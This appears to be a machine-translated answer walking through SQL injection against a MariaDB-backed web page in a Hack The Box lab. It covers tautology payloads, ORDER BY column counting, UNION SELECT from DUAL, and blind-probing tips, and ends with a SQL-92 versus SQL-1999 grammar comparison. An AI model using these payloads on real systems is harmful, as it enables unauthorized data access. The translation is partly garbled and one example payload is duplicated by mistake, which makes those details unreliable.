РЕДАКТИРОВАТЬ: Это делается на Hack The Box, поэтому никаких неприятных нелегальных вещей не происходит.
Хорошо, тогда давайте повеселимся.
Когда я смотрю на сообщение об ошибке
ИНФОРМАЦИЯ О ОТЛАДКЕ: у вас есть ошибка в вашем синтаксисе SQL;обратитесь к руководству, соответствующему вашей версии сервера MariaDB, чтобы узнать правильный синтаксис для использования рядом с '5' или dest, например '1'') LIMIT 10'
в строке 1
Я предполагаю, что запрос и код в приложении больше илив меньшей степени, чем этот псевдо-код, @o
на самом деле является пользовательской переменной MySQL.
SELECT
*
FROM
DUMMY_TABLE
WHERE
DUMMY_TABLE.o = '",@o,"'
LIMIT 10
Я буду использовать скрипту SQL пробел для имитации теста SQL-инъекций и получения большего доступа к другим таблицам.
Вы можете проверить инъекцию с помощью 1' OR 1 = 1#
или 1' OR 1 = 1--
, оба должны работать и давать тот же результат, когда вы используете 1
в качестве ввода.Это связано с тем, что MariaDB automatic приводит типы для других баз данных. Возможно, вам потребуется использовать более строгую версию 1' OR '1' = '1#
, которая должна генерировать
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10
или
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10
Тогда, поскольку вы видите ошибки в приложении, вы можете использовать ORDER BY 1
, чтобы проверить, сколько столбцов выбрано, и увеличивать число, пока не получите ошибку.
Ошибка: ER_BAD_FIELD_ERROR: Неизвестный столбец '2'в' порядке заказа '
Вставить с
1' ORDER BY 1#
или 1' ORDER BY 1--
Что означает сортировку по первому столбцу в наборе результатов НЕ sort 1
literal.
Генерирует
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10
Или
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10
Когда вы знаете столбцы, вы можете использовать UNION
, чтобы попасть в другиестолы.Используйте NULL
, если вам не нужны все столбцы.
инъекция
1' UNION ALL SELECT NULL FROM DUAL#
Обратите внимание, что DUAL
является "виртуальной" несуществующей таблицей в MariaDB, MySQL и Oracle, если вы можете запросить эту "таблицу"это означает, что вы также можете технически попасть в другие таблицы.
сгенерированный SQL
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10
И если веб-страница выполнена в виде «подробной» страницы, на которой всегда видна одна запись, вам нужно добавить LIMIT 1, 1
в вашу инъекцию.
Что делать, если в веб-приложении нет ошибок, вы должны просто иметь возможность вслепую подделывать geuss с помощью слепых инъекций SQL и посмотреть, как работает приложение.Также попробуйте такие вещи, как ?o=0
, ?o=NULL
или очень большие числа, такие как максимальное значение INT (со знаком) ?o=2147483647
или (без знака) ?o=4294967295
, прежде чем пытаться подстроить номер используемого столбца, чтобы вы знали, как приложение обрабатывает записикоторый не может быть найден.Потому что очень маловероятно иметь идентификатор 0
или эти большие числа для типа данных INT
, потому что приложение перестанет работать, если будет указан последний номер.Если вы по-прежнему получаете запись с этими большими числами, используйте вместо этого максимальные значения для BIGINT
datatype.
Для столбца 1 тот же идентификатор результата o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#
Для столбцов 2, в которых произойдет ошибка, но, скорее всего, вы увидите страницу ошибки или сообщение о том, что запись не найдена.Или сладкий HTTP 404 (не найден) статус ошибки.1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#
Одной из проблем, которые могут возникнуть при использовании LIMIT
без использования ORDER BY
, может быть шанс получить те же записи, потому что стандарт SQL определил, что таблицы / результирующие наборы SQL беспорядочные без использованияORDER BY
Так что в идеале вам нужно продолжать использовать ORDER BY 1
в брутфорсах.
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#
И
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#
Поддержка баз данных для ORDER BY 1
лучше, чем я думал на первый взгляд, поскольку она работает в MySQL, MariaDB, SQL Server (MSSQL) и PostgreSQL,
Также ORDER BY 1
была функция SQL 92, которая была удалена в SQL 99.Таким образом, на самом деле базы данных SQL не должны выполнять ORDER BY 1
больше, если они будут соответствовать стандартам SQL в этом отношении.
SQL 92 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
| <unsigned integer> # <- here it is
<ordering specification> ::= ASC | DESC
против SQL 1999 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
# <- missing
<ordering specification> ::= ASC | DESC